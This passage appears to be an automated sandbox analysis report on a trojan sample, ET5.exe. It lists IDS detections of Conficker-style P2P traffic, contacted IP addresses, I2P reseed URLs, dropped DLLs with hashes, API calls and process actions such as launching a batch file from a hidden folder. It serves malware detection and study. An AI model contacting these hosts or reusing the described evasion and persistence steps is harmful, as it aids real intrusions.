Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:27080 -> 135.181.195.240:30302
Source: Network traffic	Suricata IDS: 2009206 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4) : 192.168.2.5:27080 -> 118.178.193.220:11030
Source: Network traffic	Suricata IDS: 2009205 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1) : 192.168.2.5:27080 -> 73.195.118.76:23154
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:27080 -> 23.137.250.43:24642
Source: Network traffic	Suricata IDS: 2009206 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4) : 192.168.2.5:27080 -> 174.2.11.191:17369
Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:27080 -> 2.178.163.167:30497
Source: Network traffic	Suricata IDS: 2009205 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1) : 192.168.2.5:27080 -> 45.8.159.106:17893
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:27080 -> 102.130.123.16:23055
Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:27080 -> 120.155.52.253:16538
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:27080 -> 101.184.38.180:14558
Source: Network traffic	Suricata IDS: 2009205 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1) : 192.168.2.5:27080 -> 5.187.75.159:65351
Source: Network traffic	Suricata IDS: 2009206 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4) : 192.168.2.5:27080 -> 101.184.38.180:14558
Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:27080 -> 45.61.165.224:15027

Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.33.26

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF8B9152A1A recv,WSAGetLastError,

22_2_00007FF8B9152A1A

Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: http://127.0.0.1:8118
Source: ET5.exe	String found in binary or memory: http://digitalbush.com/projects/masked-input-plugin/#license)
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: http://identiguy.i2p/hosts.txt
Source: update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: http://reg.i2p/hosts.txt
Source: main.exe, 00000016.00000002.4536791919.000001B980F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtySDD
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: http://rus.i2p/hosts.txt
Source: update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt
Source: main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/
Source: main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3C
Source: main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtxyz/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: http://stats.i2p/cgi-bin/newhosts.txt
Source: ET5.exe	String found in binary or memory: http://www.mozilla.org/editor/midasdemo/securityprefs.html
Source: ET5.exe	String found in binary or memory: http://www.steema.com/linkIn/TeeChartForXE2
Source: ET5.exe	String found in binary or memory: http://www.steema.com/linkIn/TeeChartForXE2H
Source: ET5.exe	String found in binary or memory: http://www.steema.com/linkIn/TeeChartForXE2UH
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://banana.incognet.io/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://i2p.ghativega.in/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: https://i2p.mooo.com/netDb/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://i2p.novg.net/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: https://i2pd.readthedocs.io/en/latest/user-guide/configuration/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://i2pseed.creativecowpat.net:8443/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: https://legit-website.com/i2pseeds.su3
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: https://netdb.i2p2.no/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed-fr.i2pd.xyz/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed-pl.i2pd.xyz/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed.diva.exchange/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.22.dr, update.pkg.10.dr	String found in binary or memory: https://reseed.i2p-projekt.de/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed.i2pgit.org/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed.memcpy.io/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed.onion.im/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed.stormycloud.org/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://reseed2.i2p.net/
Source: j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe, 0000000A.00000002.2415695777.00007FF6FFB9E000.00000004.00000001.01000000.00000005.sdmp, main.exe, 00000016.00000002.4536791919.000001B980E9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000016.00000002.4542129953.00007FF8A8A84000.00000002.00000001.01000000.0000000C.sdmp, main.exe, 00000016.00000002.4528136230.000001B980A68000.00000004.00000020.00020000.00000000.sdmp, update.pkg.10.dr, gBXHuZY0.22.dr	String found in binary or memory: https://www2.mk16.de/

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF70489929A inet_addr,ntohl,

11_2_00007FF70489929A

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF70489292E strlen,strcat,strlen,strlen,strlen,strcat,strlen,strlen,strlen,strcat,LogonUserA,GetLastError,CreateProcessAsUserA,GetLastError,CloseHandle,CreateProcessA,GetLastError,

11_2_00007FF70489292E

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

File deleted: C:\Windows\Temp\PrnaubOU

Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_03794B4E	0_2_03794B4E
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_03795B42	0_2_03795B42
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_037A53EA	0_2_037A53EA
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_037AD122	0_2_037AD122
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_037A701E	0_2_037A701E
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_037960D2	0_2_037960D2
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_03797F32	0_2_03797F32
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_0379CDAA	0_2_0379CDAA
Source: C:\Users\user\Desktop\ET5.exe	Code function: 0_2_03799CFA	0_2_03799CFA
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF70489DE8A	11_2_00007FF70489DE8A
Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: 11_2_00007FF70489E4E0	11_2_00007FF70489E4E0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF70887C4C0	22_2_00007FF70887C4C0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF708882098	22_2_00007FF708882098
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91609C0	22_2_00007FF8B91609C0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B91925F0	22_2_00007FF8B91925F0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA50F020	22_2_00007FF8BA50F020
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFABCBC0	22_2_00007FF8BFABCBC0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB5EB40	22_2_00007FF8BFB5EB40
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A8B5	22_2_00007FF8BFB8A8B5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A78B	22_2_00007FF8BFB8A78B
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB90710	22_2_00007FF8BFB90710
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A643	22_2_00007FF8BFB8A643
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB8A558	22_2_00007FF8BFB8A558

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll 77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B

Source: C:\Windows\System32\icacls.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe	Code function: String function: 00007FF7048914E2 appears 295 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8B9181292 appears 515 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFB81292 appears 377 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFABA202 appears 345 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BFB52FD2 appears 387 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8BA501292 appears 394 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF7088799E2 appears 303 times
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: String function: 00007FF8B9151292 appears 462 times

Source: rVtDGbMQ.22.dr	Static PE information: Number of sections : 11 > 10
Source: termsrv32.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: L0FsI2PI.22.dr	Static PE information: Number of sections : 11 > 10
Source: samctl.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: gBXHuZY0.22.dr	Static PE information: Number of sections : 11 > 10
Source: cnccli.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: y8J74cEH.22.dr	Static PE information: Number of sections : 11 > 10
Source: dwlmgr.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: ypqwg32t.22.dr	Static PE information: Number of sections : 11 > 10
Source: ET5.exe	Static PE information: Number of sections : 11 > 10
Source: evtsrv.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: 3rVpJMV7.22.dr	Static PE information: Number of sections : 11 > 10
Source: fYg6Jeg5.22.dr	Static PE information: Number of sections : 11 > 10
Source: libi2p.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: prgmgr.dll.22.dr	Static PE information: Number of sections : 11 > 10
Source: rmcjgYnL.22.dr	Static PE information: Number of sections : 11 > 10
Source: rdpctl.dll.22.dr	Static PE information: Number of sections : 11 > 10

Source: ET5.exe, 00000000.00000000.2042011361.000000000115D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIntegrator.exe@ vs ET5.exe
Source: ET5.exe, 00000000.00000002.2048458739.00000000031B6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs ET5.exe
Source: ET5.exe, 00000002.00000002.4528360552.0000000003036000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs ET5.exe
Source: ET5.exe	Binary or memory string: OriginalFilenameIntegrator.exe@ vs ET5.exe

Source: classification engine

Classification label: mal100.troj.evad.winEXE@38/76@0/37

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF70489855D CreateToolhelp32Snapshot,Process32First,Process32Next,GetLastError,GetLastError,GetLastError,OpenProcess,QueryFullProcessImageNameW,GetLastError,CloseHandle,GetLastError,CloseHandle,

11_2_00007FF70489855D

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Code function: 11_2_00007FF7048AB558 DeleteCriticalSection,FindClose,FindNextFileA,FindResourceA,

11_2_00007FF7048AB558

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF708878C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF708878C4A

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 22_2_00007FF708878C4A strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

22_2_00007FF708878C4A

Source: C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6380:120:WilError_03

Source: C:\Users\user\Desktop\ET5.exe

File created: C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat

Jump to behavior

Source: C:\Users\user\Desktop\ET5.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat"

Source: ET5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ET5.exe	Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

File read: C:\Users\user\AppData\Local\Temp\wfpblk.ini

Jump to behavior

Source: C:\Users\user\Desktop\ET5.exe

